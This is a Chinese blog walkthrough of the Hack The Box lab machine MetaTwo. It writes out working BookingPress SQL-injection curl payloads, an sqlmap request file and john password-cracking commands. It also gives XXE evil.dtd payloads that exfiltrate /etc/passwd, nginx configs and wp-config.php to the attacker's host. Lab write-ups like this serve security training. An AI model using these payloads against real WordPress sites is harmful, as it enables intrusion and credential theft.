htb_MetaTwo (bookingpress,WordPress XXE漏洞)

已于 2023-04-03 15:23:24 修改
阅读量212 收藏
点赞数
分类专栏： hack the box 文章标签： 安全 服务器 网络安全
于 2023-03-30 14:46:50 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_62621015/article/details/129856999
版权
文章描述了一次针对WordPress网站的渗透测试过程，包括端口扫描、漏洞检测（XXE和SQL注入）、利用wpscan工具、密码破解、FTP登录、SSH连接以及使用Passpie获取root密码的步骤。
摘要由CSDN通过智能技术生成

kali攻击机ip：10.10.14.134

在这里插入图片描述

可以ping通靶机，那就开始通关啦

在这里插入图片描述

端口扫描

nmap -sS -sV -T5 10.10.11.186

在这里插入图片描述

目录不少，但是有用的没几个

在这里插入图片描述

访问80端口

cms为wordpress
（推荐一下wappalyzer插件，是个好用的网站分析工具）
在这里插入图片描述

点这个链接看看

cms也是wordpress，服务器为nginx

在这里插入图片描述

查看wordpress5.6.2的cve（别问为什么是这个，我也是看别人用这个我就跟着用）

XXE漏洞

在这里插入图片描述

既然是wp，那就用wpscan扫一下

这里也告诉我们服务器为nginx，web应用框架为php

有一个robots.txt文件

在这里插入图片描述

访问一下

有个sitemap，应该是网站文件目录

在这里插入图片描述

果然，没什么特别的

在这里插入图片描述
回去看看页面源码，发现了bookingpress插件

在这里插入图片描述

查找cve，版本非常吻合

在这里插入图片描述

漏洞利用

BookingPress < 1.0.11 - 未经身份验证的 SQL 注入 WordPress 安全漏洞 (wpscan.com)

在这里插入图片描述

根据提示在源码里寻找action:xxxx

在这里插入图片描述

_wpnonce:0aea629c56

测试用例

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php'  --data 'action=bookingpress_front_get_category_services&_wpnonce=0aea629c56&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

在这里插入图片描述

爆数据库名

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=0aea629c56&category_id=33&total_service=-7502) UNION ALL SELECT database(),@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

在这里插入图片描述

在这里插入图片描述

爆表名

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=0aea629c56&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(table_name) ,@@version_comment,@@version_compile_os,1,2,3,4,5,6 from information_schema.tables  where table_schema=database()-- -'

在这里插入图片描述

在这里插入图片描述

爆字段名

 curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=0aea629c56&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(column_name) ,@@version_comment,@@version_compile_os,1,2,3,4,5,6 from information_schema.columns  where  table_schema=database()  -- -'

在这里插入图片描述

在这里插入图片描述

爆字段

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=0aea629c56&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(user_login) ,group_concat(user_pass),@@version_compile_os,1,2,3,4,5,6 from  wp_users-- -'

在这里插入图片描述

爆出来两个账号密码，可以看出来是MD5编码

admin   $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

后面回看的时候发现别的博主有更好的方法，就是利用sqlmap自动注入

在这里插入图片描述

vim post.txt

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: metapress.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Content-Length: 218
Content-Type: application/x-www-form-urlencoded
Connection: close

action=bookingpress_front_get_category_services&_wpnonce=0aea629c56&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -

sqlmap -r post.txt -p total_service -D blog --tables

在这里插入图片描述

在这里插入图片描述

意思意思就好了，到此为止，回归正题

利用john破解密码

john -w=/usr/share/wordlists/rockyou.txt  pass.txt

在这里插入图片描述

partylikearockstar

ssh，ftp都尝试用两个用户名登录了，都不对

想想还有个wp的后台没试过，不妨看看

在这里插入图片描述

用manager登录进来了，确实是wp后台

在这里插入图片描述

找到文件上传的地方

在这里插入图片描述

漏洞利用

motikan2010/CVE-2021-29447: WordPress - Authenticated XXE (CVE-2021-29447) (github.com)

在这里插入图片描述

根据步骤一步一步来

搭建web服务

make up-wp

make up-mal

在这里插入图片描述

cd attacker/www

来到网站目录

修改一下这个恶意脚本，改为我们kali的ip

在这里插入图片描述

在这里插入图片描述

生成恶意wav文件（用来上传到靶机网站的）

在这里插入图片描述

此时目录下有两个文件

在这里插入图片描述

回到upload.php

在这里插入图片描述

上传wav文件

在这里插入图片描述

我们搭建的服务器处返回base64编码的文件

在这里插入图片描述

使用base -d命令解析

不是，这啥？说好的/etc/passwd呢

在这里插入图片描述

搞了半天才发现，原来把evil.dtd第一句里面的/zlib.deflate这截删掉就好了

最终版evil.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.14.134:8001/?p=%file;'>" >

在这里插入图片描述

在这里插入图片描述

base64解码

echo cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDk6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTA0OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kam5lbHNvbjp4OjEwMDA6MTAwMDpqbmVsc29uLCwsOi9ob21lL2puZWxzb246L2Jpbi9iYXNoCnN5c3RlbWQtdGltZXN5bmM6eDo5OTk6OTk5OnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo= | base64 -d

在这里插入图片描述

发现用户jnelson

在这里插入图片描述

因为靶机使用的是nginx服务器，我们可以看看它的配置文件

在这里插入图片描述

修改evil.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/nginx/nginx.conf">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.14.134:8001/?p=%file;'>" >

在这里插入图片描述

在这里插入图片描述

发现nginx配置文件目录 /etc/nginx/sites-enabled

这里意思是加载/etc/nginx/sites-enabled的默认配置文件

在这里插入图片描述

查看默认配置文件default

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/nginx/sites-enabled/default">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.14.134:8001/?p=%file;'>" >

在这里插入图片描述

可看到网站根目录为/var/www/metapress.htb/blog

在这里插入图片描述

查看wp根目录下的配置文件wp-config.php

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.14.134:8001/?p=%file;'>" >

在这里插入图片描述

在这里插入图片描述

发现FTP账号密码

在这里插入图片描述

define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );

登录ftp

在这里插入图片描述

查看mailer目录

cd mailer

下载文件到本地

get end_email.php

在这里插入图片描述

cat send_email.php

在这里插入图片描述

发现用户密码

$mail->Username = "jnelson@metapress.htb";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";

ssh远程连接

在这里插入图片描述

sudo，suid都木有发现

在这里插入图片描述

目录探测

发现可执行文件.passpie

在这里插入图片描述

搜索发现，Passpie是一个基于命令行的密码管理器

在这里插入图片描述

先把flag拿了

在这里插入图片描述

进入passpie目录

在这里插入图片描述

cat .keys

将.keys复制到kali机上解密（.keys里面有公钥和私钥，把公钥删了，只留私钥给john解密）

在这里插入图片描述

将keys转换为john可识别的文件

（我说怎么没有pgp2jon，原来是gpg2john）

gpg2john keys > hash

john解密

john -w=/usr/share/wordlists/rockyou.txt  hash

在这里插入图片描述

blink182

回到主目录再export，不然会报权限不足错误

passpie export pass

在这里插入图片描述

拿到root密码

p7qfAZt4_A1xo_0x

提权成功~~

在这里插入图片描述

o了 😃

川川小宝
关注
专栏目录
Hack the box (HTB) Metatwo靶机
qq_58869808的博客
11-05 5154
hackthebox metatwo靶机
hackthrbox-DevOops（考点：xxe攻击xml伪造/ssh_key/git）
冬萍子癸水
04-08 362
nmap走起 http开在了5000，而且有22，看到了22的ssh就应该想到很可能是拿id_rsa进行ssh登录拿shell 扫5000： gobuster -w directory-list-lowercase-2.3-medium.txt -u http://10.10.10.91:5000 -t 150 -s “200,204,301,302,307,403,401” /upload，当...
乌云漏洞和ssl漏洞/WordPress 5.7 XXE漏洞分析| CVE-2021-29447_入门渗透知识点
程序员六七的博客
06-07 587
概括在此文章中，我们研究了在最流行的内容管理系统WordPress中发现的一个有趣的XXE漏洞。它允许经过身份验证的攻击者从主机服务器泄漏敏感文件，这可能会导致完全破坏。
WordPress 5.7 XXE Vulnerability---翻译自seebug
Armandhe的博客
05-30 792
要不要搭个环境复现以下呢？？？？？这是个问题
XXE攻防——XML外部实体注入
aezwm4109的博客
05-24 2203
转自腾讯安全应急响应中心 一、XML基础知识 XML用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。 DTD（文档类型定义）的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明，也可以外...
htb_Mailing
weixin_62621015的博客
06-06 585
hack the box Windows
HTB-MarkUp(XXE漏洞、SSH id_rsa密钥)
weixin_58038441的博客
09-15 897
我们介绍了XXE漏洞原理，修复意见，利用方式，修改管理员权限文件 修改代码 反弹会话及id_rsa密钥。
htb_BoardLight
weixin_62621015的博客
05-29 752
hack the box BoardLihtgt easy
htb_Editorial
weixin_62621015的博客
06-19 946
hack the box linux
Python库 | htb_cli-0.1.1-py3-none-any.whl
02-16
《Python库htb_cli-0.1.1-py3-none-any.whl详解及应用》 在Python的世界里，库是开发者的重要工具，它们提供了丰富的功能，极大地提升了开发效率。今天我们将聚焦于一个名为`htb_cli`的Python库，其版本为0.1.1，...
HTB_tools-开源
05-02
`HTB_tools-开源`是一款专为网络带宽管理设计的开源软件，它致力于简化网络环境中的上传和下载带宽分配的配置过程，同时提供了方便的监控功能。这款工具对于网络管理员来说尤其重要，因为它可以帮助他们高效地管理和...
PyPI 官网下载 | htb_cli-0.1.1-py3-none-any.whl
01-05
资源来自pypi官网。 资源全名：htb_cli-0.1.1-py3-none-any.whl
ROS_HTB_优先限速
09-07
标题与描述中的“ROS_HTB_优先限速”是指在MikroTik RouterOS系统中，使用Hierarchical Token Bucket（HTB）算法进行网络流量的优先级管理和限速设置的一种技术。这一策略通常用于确保关键应用或服务的网络质量，...
基于 SM3 的密钥派生函数 (KDF)：国密合规的安全密钥生成方案
A_Lonely_Smile的博客
10-29 1000
在现代加密技术中，密钥派生函数（Key Derivation Function, KDF）是一个将初始输入（如密码、共享密钥等）转换为安全密钥的过程，用于实现加密、消息认证等密码操作。特别是在符合国密标准的场景中，基于 SM3 的 KDF 已成为一种常用的密钥生成方式。本文将详细讲解 SM3-KDF 的工作原理，逐步介绍其实现过程，并提供 Java 代码示例，帮助您理解如何在项目中应用 SM3-KDF。
冷钱包与热钱包的差异 | 加密货币存储的安全方案
最新发布
tusik68的博客
11-01 1193
想要安全存储加密货币？了解冷钱包和热钱包的核心差异，找到适合的存储方式，确保您的数字资产安全无忧。
前端如何安全存储密钥，防止信息泄露
AM1n98的博客
10-30 1237
把公钥写在前端代码文件里被公司检测到了要整改，整理几种常见的前端密钥存储方案。
轻型民用无人驾驶航空器安全操控理论培训知识总结-多旋翼部分
Lizzy_Fly的博客
10-30 900
15.航空器的视觉避障只有在光照等环境条件满足视觉系统工作要求时才能生效，光照条件特别暗或者特别亮的情况下，请谨慎飞行，即使视觉系统正常工作时，也可能无法精准识别高压线，而且高压线还会影响图传和遥控信号，因此不建议在高压线间飞行，如因电力巡检等工作原因必须在此环境下飞行，建议经专门培训后再进行操作;当航空器记录了返航点并且在定位服务良好的情况下，航空器电池电量不足、遥控器与航空器之间失去通讯信号以及图传信号丢失时，将会触发自动返航，操控员也可主动开启自动返航，航空器将自动返回返航点并降落。
【Python爬虫实战】网络爬虫完整指南：HTTP/HTTPS协议与爬虫安全实践
小火龙的博客
10-29 1166
是互联网的核心协议之一，用于在客户端（如浏览器或爬虫）和服务器之间传输数据。HTTP协议定义了请求和响应的格式，帮助不同设备进行信息交换，例如我们在浏览网页时，浏览器就是通过HTTP向服务器请求页面内容，然后显示在用户面前。是HTTP协议的升级版，通过SSL/TLS加密协议增强了数据传输的安全性。HTTPS协议会在数据传输过程中对数据进行加密，防止中途被拦截或篡改，因此在保护用户隐私和敏感信息方面起到了重要作用。
Linux系统安全配置
qq_24442273的博客
10-28 936
【代码】Linux系统安全配置。
ROS_HTB_优先限速：提升TCP/443、UDP/8000等端口访问策略
ROS_HTB_优先限速脚本通过设置IPFirewall mangle链中的规则，对不同类型的网络服务进行区分并分配不同的带宽通道（或队列），以确保关键服务如HTTPS（tcp/443）、HTTP（tcp/8000）、TCP 3724端口等的正常通信。...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值